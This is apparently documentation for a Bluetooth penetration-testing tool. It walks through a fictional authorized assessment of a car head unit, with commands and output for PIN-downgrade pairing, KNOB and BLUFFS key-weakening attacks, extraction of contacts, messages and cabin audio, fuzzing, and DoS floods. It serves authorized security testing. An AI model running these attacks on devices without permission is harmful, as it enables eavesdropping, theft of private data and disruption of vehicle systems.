Full Penetration Test Workflow¶
Scenario¶
You have authorization to conduct a complete Bluetooth security assessment against one or more targets. This isn't a quick triage -- you're going through every phase: discovery, reconnaissance, vulnerability assessment, exploitation, post-exploitation, fuzzing, DoS testing, and reporting. The goal is a comprehensive security evaluation that documents every finding, proves every exploitable condition, and delivers a professional report.
This workflow covers two modes: automated (Blue-Tap drives all 9 phases end-to-end) and manual (you control each phase, adapting based on what you find). The manual walkthrough follows a narrative against a fictional automotive IVI system to show how findings from each phase inform the next.
Time estimate: 1-4 hours depending on target complexity Risk level: High (includes intrusive and active exploitation phases)
Prerequisites
- Root access on your assessment machine
- Bluetooth adapter (hci0) -- any USB dongle for phases 1-5; DarkFirmware-patched RTL8761B for BLUFFS/KNOB exploitation
- Authorized engagement -- written permission from the target owner covering exploitation and DoS
- Target in range (~10 meters for Class 2 devices)
- PulseAudio/PipeWire running if you plan audio extraction (Phase 5)
- Optional: second adapter (hci1) for simultaneous scanning during exploitation
Session Management¶
Name your session to keep all results organized under one identifier. Every subsequent command in this terminal inherits the session name:
The session name appears in the final report and ties together all findings across all phases. If you close the terminal, results are persisted -- you can generate a report from any terminal using:
Mode 1: Automated Full Assessment¶
Run all 9 phases automatically against a single target:
$ sudo blue-tap auto AA:BB:CC:DD:EE:FF --yes
[*] Starting automated assessment of AA:BB:CC:DD:EE:FF
[*] Session: auto-20260416-143022
[*] Phases: discovery, recon, vulnscan, exploit, post-exploit, fuzz, dos, report
Phase 1/8: Discovery
[+] Target confirmed: IVI-Headunit (Classic, CoD 0x240404)
[+] RSSI: -44 dBm, Bluetooth 5.2
Phase 2/8: Reconnaissance
[+] SDP: 9 services (2 unauthenticated)
[+] L2CAP: 6 open PSMs (3 unauthenticated)
[+] RFCOMM: 4 open channels
[+] Fingerprint: Qualcomm QCC5171, FW 2.1.3
Phase 3/8: Vulnerability Assessment
[+] 19 checks run: 6 confirmed, 1 inconclusive, 12 n/a
[!] CRITICAL: CVE-2023-24023 (BLUFFS)
[!] HIGH: CVE-2019-9506 (KNOB), CVE-2017-0785 (SDP leak), OBEX auth bypass
Phase 4/8: Exploitation
[+] SSP downgrade: SUCCESS (PIN 0000)
[+] KNOB: SUCCESS (key size reduced to 1 byte)
[!] BLUFFS: SKIPPED (requires DarkFirmware)
Phase 5/8: Post-Exploitation
[+] Contacts extracted: 847 entries via PBAP
[+] Messages extracted: 234 SMS via MAP
[+] Audio: 30s microphone recording saved
Phase 6/8: Fuzzing (30-minute session)
[+] 89,420 packets sent across sdp,l2cap,rfcomm
[+] 1 crash found (MEDIUM: L2CAP disconnect)
Phase 7/8: DoS Testing
[+] 4 vectors tested, 2 caused recovery-required crash
[+] Recovery time: 8-14 seconds
Phase 8/8: Report Generation
[+] Report written to auto-report-20260416.html (142 KB)
[+] Automated assessment complete. Duration: 52m 18s
[+] Summary: 6 confirmed vulns, 1 new crash, 847 contacts, 234 messages
The --yes flag confirms intrusive operations without prompting. Omit it for interactive confirmation at each dangerous step.
Warning
Automated mode will attempt exploitation and DoS. Only use with explicit written authorization from the target owner.
Decision point:
- If auto mode is sufficient -- review the generated report, verify findings, and deliver.
- If you need more control -- use auto mode output as a starting point, then manually deep-dive into specific findings using Mode 2 below.
Mode 2: Manual Step-by-Step¶
The narrative below follows a realistic engagement: you've found an IVI head unit in range during an authorized automotive security assessment. Each phase's findings inform what you do next.
Phase 1: Discovery¶
$ sudo blue-tap -s ivi-pentest-20260416 discover all -d 15
[*] Starting combined Classic + BLE discovery (15s)...
[*] Adapter: hci0 (Cambridge Silicon Radio)
# | MAC | Name | Type | CoD | RSSI
---|-------------------|-------------------|---------|-------------|------
1 | AA:BB:CC:DD:EE:FF | IVI-Headunit | Classic | 0x240404 | -42
2 | 11:22:33:44:55:66 | Galaxy S24 | Dual | 0x5A020C | -58
3 | 22:33:44:55:66:77 | iPhone-15-Pro | Dual | 0x7A020C | -55
4 | 77:88:99:AA:BB:CC | [BLE] TireMonitor | BLE | -- | -71
[+] Found 4 devices in 15.0s
What happened: 15-second scan caught all discoverable devices. The IVI has the strongest signal at -42 dBm (very close). CoD 0x240404 decodes to "Audio/Video > Car Audio" -- consistent with a head unit.
Decision point:
- Strong RSSI (-42 dBm) -- excellent signal, all phases should work reliably.
- Multiple devices in range -- note the Galaxy S24 and iPhone. These may be paired to the IVI. Relevant for BLUFFS MITM in Phase 4.
Tip
Use -d 30 in environments with many devices or RF interference. Add --hci hci1 if using a specific dongle.
Phase 2: Reconnaissance¶
Run each recon module against the target. Start with SDP -- it reveals the most about what the target offers:
$ sudo blue-tap recon AA:BB:CC:DD:EE:FF sdp
[*] Querying SDP services on AA:BB:CC:DD:EE:FF (IVI-Headunit)...
# | Service | UUID | Channel/PSM | Auth Required
---|----------------------------|--------|-------------|---------------
1 | Headset Gateway | 0x1112 | RFCOMM 2 | Yes
2 | Handsfree | 0x111F | RFCOMM 3 | Yes
3 | A2DP Source | 0x110A | AVDTP | Yes
4 | AVRCP Target | 0x110C | AVCTP | Yes
5 | PBAP Server | 0x112F | RFCOMM 15 | Yes
6 | MAP Server | 0x1132 | RFCOMM 16 | Yes
7 | OBEX Object Push | 0x1105 | RFCOMM 12 | No
8 | Serial Port | 0x1101 | RFCOMM 1 | No
9 | PnP Information | 0x1200 | -- | --
[+] 9 services found. 2 services exposed without authentication.
What happened: PBAP (phonebook) and MAP (messages) are present -- high-value post-exploitation targets once we have a pairing. OBEX Object Push and Serial Port are open without authentication -- immediate findings.
Now scan for hidden channels not in SDP:
$ sudo blue-tap recon AA:BB:CC:DD:EE:FF l2cap
[*] Probing L2CAP PSMs on AA:BB:CC:DD:EE:FF...
PSM | Status | Service | Auth
--------|------------|------------------|------
0x0001 | Open | SDP | No
0x0003 | Open | RFCOMM | Yes
0x000F | Open | BNEP | No
0x0017 | Open | AVCTP | Yes
0x0019 | Open | AVDTP | Yes
0x1001 | Open | Unknown | No
[+] 6 PSMs probed. 3 open without authentication.
$ sudo blue-tap recon AA:BB:CC:DD:EE:FF rfcomm
[*] Scanning RFCOMM channels on AA:BB:CC:DD:EE:FF...
Channel | Status | Service | Auth
---------|--------|------------------|------
1 | Open | Serial Port | No
2 | Open | Headset Gateway | Yes
3 | Open | Handsfree | Yes
12 | Open | OBEX Push | No
15 | Open | PBAP | Yes
16 | Open | MAP | Yes
[+] 6 channels open.
$ sudo blue-tap recon AA:BB:CC:DD:EE:FF fingerprint
[*] Fingerprinting AA:BB:CC:DD:EE:FF...
Property | Value
-----------------------|----------------------------------
Bluetooth Version | 5.2
Chipset Vendor | Qualcomm (0x001D)
Product ID | 0x1200
Firmware Version | 2.1.3
LMP Version | 11 (BT 5.2)
LMP Subversion | 0x220E
SSP Support | Yes
LE Support | No
SC (Secure Conn) | Yes
Max Encryption Key | 16 bytes
Features Page 0 | 0xBFEE8DBFFE8DBFFF
[+] Fingerprint complete.
What happened across all recon: We now have a complete picture:
- 9 services, 2 open without auth (OBEX Push, Serial Port)
- Hidden vendor-specific PSM (0x1001) accepting unauthenticated connections
- Qualcomm chipset, BT 5.2, firmware 2.1.3
- SSP supported but we need to verify enforcement in Phase 3
This informs Phase 3: The fingerprint tells us which CVEs to expect. BT 5.2 with Qualcomm should be susceptible to BLUFFS (CVE-2023-24023) and potentially KNOB (CVE-2019-9506) if key size enforcement is missing.
| Module | What it reveals |
|---|---|
sdp |
Advertised services, UUIDs, channels |
gatt |
BLE services, characteristics, descriptors |
l2cap |
Open L2CAP PSMs (including hidden ones) |
rfcomm |
Open RFCOMM channels |
fingerprint |
Chipset, firmware version, feature support |
Phase 3: Vulnerability Assessment¶
$ sudo blue-tap vulnscan AA:BB:CC:DD:EE:FF --active
[*] Running vulnerability assessment on AA:BB:CC:DD:EE:FF (IVI-Headunit)
[*] Mode: active (will send crafted probe packets)
[*] 23 checks registered, 19 applicable to this target
Check | CVE | Outcome | Severity
-----------------------------|-----------------|----------------|----------
SDP Info Leak | CVE-2017-0785 | confirmed | HIGH
L2CAP Buffer Overflow | CVE-2017-1000251| not_applicable | --
KNOB Key Negotiation | CVE-2019-9506 | confirmed | HIGH
BLUFFS Session Key | CVE-2023-24023 | confirmed | CRITICAL
BIAS Impersonation | CVE-2020-10135 | confirmed | HIGH
HID Injection | CVE-2023-45866 | not_applicable | --
SSP Enforcement | non-cve | confirmed | MEDIUM
OBEX Auth Bypass | non-cve | confirmed | HIGH
Legacy PIN Pairing | non-cve | confirmed | MEDIUM
[+] Assessment complete: 7 confirmed, 0 inconclusive, 12 not_applicable
[!] CRITICAL: 1 | HIGH: 4 | MEDIUM: 2
What happened: Active mode sent crafted probe packets for each check. With --active, checks that were inconclusive in passive mode can reach a definitive verdict.
This informs Phase 4: We now know the exploitation path:
- SSP is not strictly enforced -- we can attempt PIN downgrade
- KNOB is confirmed -- encryption key size can be reduced
- BLUFFS is confirmed -- session key entropy can be lowered (requires DarkFirmware)
- OBEX is open -- we can push files without pairing
Phase 4: Exploitation¶
Based on the vulnscan results, we'll prove each exploitable condition. Start with the easiest -- SSP downgrade:
$ sudo blue-tap exploit AA:BB:CC:DD:EE:FF ssp-downgrade --method downgrade_and_brute
[*] Attempting SSP downgrade on AA:BB:CC:DD:EE:FF...
[*] Advertising as legacy-only device (no SSP capability)
[*] Initiating pairing...
[+] Target accepted legacy PIN pairing!
[*] Brute-forcing PIN: 0000-9999
[+] PIN found: 0000 (attempt 1/10000)
[+] Link key derived: 4A:8F:2C:...
[+] Pairing complete. Link key stored.
Outcome: success
Duration: 3.2s
Evidence: PIN=0000, link_key=4A8F2C...
What happened: The target accepted a pairing request from a device advertising no SSP support, falling back to legacy PIN authentication. PIN 0000 was the first guess -- extremely common on automotive head units.
This enables Phase 5: We now have a valid pairing with a link key. All authenticated services (PBAP, MAP, HFP, A2DP) are accessible.
Now prove the KNOB vulnerability:
$ sudo blue-tap exploit AA:BB:CC:DD:EE:FF knob
[*] Testing KNOB (CVE-2019-9506) on AA:BB:CC:DD:EE:FF...
[*] Initiating encrypted connection...
[*] Proposing minimum key size: 1 byte
[+] Target accepted 1-byte encryption key!
Outcome: success
Negotiated key size: 1 byte
Effective security: 8 bits (brute-forceable in <1 second)
For BLUFFS (requires DarkFirmware):
$ sudo blue-tap exploit AA:BB:CC:DD:EE:FF bluffs \
--variant a3 \
--phone 11:22:33:44:55:66
[*] Loading DarkFirmware LMP injection module...
[*] BLUFFS variant A3: MITM between AA:BB:CC:DD:EE:FF and 11:22:33:44:55:66
[*] Forcing weak session key derivation...
[+] Session key entropy reduced to 24 bits (from 128)
Outcome: success
Session key: 0x7A3F01 (padded to 16 bytes)
Effective entropy: 24 bits
Danger
Exploitation may disrupt the target device. Ensure you have rollback procedures and the target owner is aware.
Phase 5: Post-Exploitation¶
With an active pairing established in Phase 4, extract data to prove impact:
$ sudo blue-tap extract AA:BB:CC:DD:EE:FF contacts --all
[*] Connecting to PBAP server on AA:BB:CC:DD:EE:FF...
[*] Downloading phonebook (pb)...
[+] 847 contacts extracted
[*] Downloading combined call history (cch)...
[+] 1,204 call records extracted
[+] Saved to: sessions/ivi-pentest-20260416/contacts/
contacts-phonebook.vcf 847 entries 142 KB
contacts-call-history.vcf 1,204 entries 98 KB
$ sudo blue-tap extract AA:BB:CC:DD:EE:FF messages
[*] Connecting to MAP server on AA:BB:CC:DD:EE:FF...
[*] Downloading inbox...
[+] 189 messages extracted
[*] Downloading sent...
[+] 45 messages extracted
[+] Saved to: sessions/ivi-pentest-20260416/messages/
messages-inbox.json 189 entries 312 KB
messages-sent.json 45 entries 67 KB
$ sudo blue-tap extract AA:BB:CC:DD:EE:FF audio --action record -d 30
[*] Establishing HFP SCO connection...
[*] Codec: mSBC (16 kHz, mono)
[*] Recording from car microphone...
[*] Recording: 30s ████████████████████████████ 100%
[+] Saved to: sessions/ivi-pentest-20260416/audio/recording-20260416-144812.wav (480 KB)
What happened: We extracted the complete phonebook (847 contacts), call history (1,204 records), 234 text messages, and 30 seconds of cabin microphone audio. This demonstrates full data compromise through the pairing established via SSP downgrade.
See Audio Eavesdropping Workflow for the full audio attack chain.
Phase 6: Fuzzing¶
With recon data showing vendor-specific PSM 0x1001, let's fuzz it along with standard protocols:
$ sudo blue-tap fuzz campaign AA:BB:CC:DD:EE:FF \
-p sdp -p rfcomm \
--duration 30m \
--strategy coverage_guided
[*] Starting fuzzing campaign against AA:BB:CC:DD:EE:FF
[*] Protocols: sdp, rfcomm
[*] Strategy: coverage_guided
[*] Duration: 30m
Elapsed: 00:28:14 / 00:30:00
Packets/sec: 156 Total: 263,842
Crashes: 1 (MEDIUM: 1)
Corpus: 6,685 seeds New paths: 23
[+] Campaign complete. 1 crash found.
[+] Crash ID: crash-2026-0416-sdp-001 (MEDIUM)
What happened: 30-minute campaign found one MEDIUM crash in SDP handling. This is a new finding not covered by existing CVE checks.
See Fuzzing Campaign Workflow for crash triage, reproduction, and minimization.
Phase 7: DoS Testing¶
Test denial-of-service resilience:
$ sudo blue-tap dos AA:BB:CC:DD:EE:FF --recovery-timeout 30 --yes
[*] Testing DoS resilience on AA:BB:CC:DD:EE:FF
[*] Recovery timeout: 30s per vector
Vector | Result | Recovery Time
--------------------------|---------------|---------------
L2CAP flood | unresponsive | 14s
SDP malformed burst | recovered | 3s
RFCOMM channel exhaust | unresponsive | 22s
LMP ping flood | recovered | 1s
[+] DoS testing complete. 2/4 vectors caused extended disruption.
What happened: Two DoS vectors caused the IVI to become unresponsive, requiring 14-22 seconds to recover. This is significant for an automotive system -- a 22-second Bluetooth stack outage during a hands-free call could be a safety issue.
Warning
DoS testing will disrupt the target. The --yes flag skips confirmation prompts for each vector.
Phase 8: Report Generation¶
$ sudo blue-tap report -f html -o ivi-pentest-report.html
[*] Generating report for session ivi-pentest-20260416...
[*] Aggregating: 1 discovery, 5 recon, 1 vulnscan, 3 exploits,
3 extractions, 1 fuzz campaign, 1 dos test
[+] Report written to ivi-pentest-report.html (284 KB)
JSON for programmatic consumption or integration with other tools:
What happened: The report aggregates every finding from every phase into a single document. It includes an executive summary, per-phase findings with evidence, severity ratings, and remediation recommendations.
Phase Checklist¶
Use this to track progress during a manual engagement:
| Phase | Command | Status |
|---|---|---|
| 1. Discovery | discover all -d 15 |
|
| 2. SDP Recon | recon TARGET sdp |
|
| 3. GATT Recon | recon TARGET gatt |
|
| 4. L2CAP Recon | recon TARGET l2cap |
|
| 5. RFCOMM Recon | recon TARGET rfcomm |
|
| 6. Fingerprint | recon TARGET fingerprint |
|
| 7. Vuln Assessment | vulnscan TARGET --active |
|
| 8. Exploitation | Per-CVE exploits | |
| 9. Post-Exploitation | extract TARGET ... |
|
| 10. Fuzzing | fuzz campaign TARGET ... |
|
| 11. DoS Testing | dos TARGET ... |
|
| 12. Reporting | report -f html -o report.html |
Summary¶
A full penetration test systematically works through the Bluetooth attack surface:
- Discovery identifies targets and their capabilities
- Reconnaissance maps the full service and channel landscape
- Vulnerability assessment checks for known weaknesses
- Exploitation proves each vulnerability is real and impactful
- Post-exploitation demonstrates the consequence of compromise
- Fuzzing searches for unknown vulnerabilities
- DoS testing evaluates resilience under attack
- Reporting packages everything for the client
Each phase feeds the next. Recon tells you what to check. Vulnscan tells you what to exploit. Exploitation gives you access for post-exploitation. The entire chain builds a complete security narrative.
What's Next?¶
- Encryption Downgrade Workflow -- deep dive into KNOB, BLUFFS, and SSP exploitation
- Audio Eavesdropping Workflow -- full audio attack chain with HFP and A2DP
- Fuzzing Campaign Workflow -- crash triage, reproduction, and minimization
- Custom Playbooks -- automate your assessment methodology for repeatability
Tips¶
- Session continuity: All commands in one session share results. If you close the terminal, results from the session are still stored and can be reported on.
- Adapter selection: Use
--hci hci1if your primary adapter is occupied or you need a specific chipset. - Target selection: After discovery, you can reference targets by name if unique:
sudo blue-tap recon "CarAudio" sdp. - Scope control: Skip intrusive phases (exploitation, DoS) for a passive-only assessment by stopping after Phase 3.